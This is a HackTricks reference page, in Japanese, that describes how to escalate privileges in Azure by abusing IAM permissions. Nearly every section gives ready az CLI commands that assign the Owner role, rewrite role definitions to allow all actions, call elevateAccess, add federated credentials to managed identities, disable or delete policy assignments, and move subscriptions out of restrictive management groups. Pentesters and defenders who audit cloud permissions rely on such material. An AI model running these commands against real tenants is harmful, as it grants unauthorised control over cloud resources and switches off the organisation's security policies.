Az - Azure IAM Privesc (Authorization)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Azure IAM

詳細は次を参照してください:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

この権限は、特定のスコープに対してプリンシパルにロールを割り当てることを許可します。攻撃者はこれを利用して、より高い権限のロールを自身に割り当てることで権限を昇格させることができます:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

この permission により、role に付与された permissions を変更することができます。これにより attacker が、割り当てられた role に対してより多くの permissions を付与して escalate privileges することが可能になります。

次の内容を持つファイル role.json を作成してください:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

次に、前の定義を呼び出してロールの権限を更新します:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

この権限は特権を昇格させ、任意のプリンシパルに対して Azure リソースの権限を割り当てることを可能にします。これは Entra ID Global Administrators に付与されることを想定しており、Azure リソースの権限も管理できるようにするためのものです。

Tip

elevate 呼び出しを機能させるには、ユーザーが Entrad ID の Global Administrator である必要があると思います。

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

この権限は、マネージド ID に Federated credentials を追加することを許可します。例えば、repo の Github Actions にマネージド ID へのアクセス権を与えることができます。すると、任意のユーザー定義のマネージド ID にアクセスすることが可能になります

Github の repo にマネージド ID へのアクセスを付与するための例コマンド:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

管理グループ、サブスクリプション、またはリソースグループに対して Microsoft.Authorization/policyAssignments/write または Microsoft.Authorization/policyAssignments/delete の権限を持つ攻撃者は、Azure のポリシー割り当てを変更または削除でき、特定の操作をブロックするセキュリティ制限を無効化する可能性があります。

これにより、ポリシーによって以前は保護されていたリソースや機能へアクセスできるようになります。

ポリシー割り当てを削除する:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

ポリシー割り当てを無効にする:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

変更を確認する:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

権限 Microsoft.Authorization/policyDefinitions/write を持つ攻撃者は、Azure のポリシー定義を変更することができ、環境全体のセキュリティ制約を制御するルールを変えることができます。

例えば、リソース作成時に許可されるリージョンを制限するポリシーを、任意のリージョンを許可するように変更したり、ポリシーの効果を変更して無効化したりできます。

ポリシー定義を変更する:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

変更を確認する:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

攻撃者は Microsoft.Management/managementGroups/write 権限を持っていると、上位に適用された制限付きポリシーを回避するために、management groups の階層構造を変更したり、新しい management group を作成したりできます。

例えば、攻撃者は制限付きポリシーのない新しい management group を作成し、サブスクリプションをそこに移動させることができます。

新しい management group を作成する:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

管理グループの階層を変更する:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

変更を確認する:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

権限 Microsoft.Management/managementGroups/subscriptions/write を持つ攻撃者は、subscriptions を management groups 間で移動でき、より制限の緩い、またはポリシーが設定されていない management group に移すことで、制限的なポリシーを回避する可能性があります。

subscription を別の management group に移動する:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

変更を確認する:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする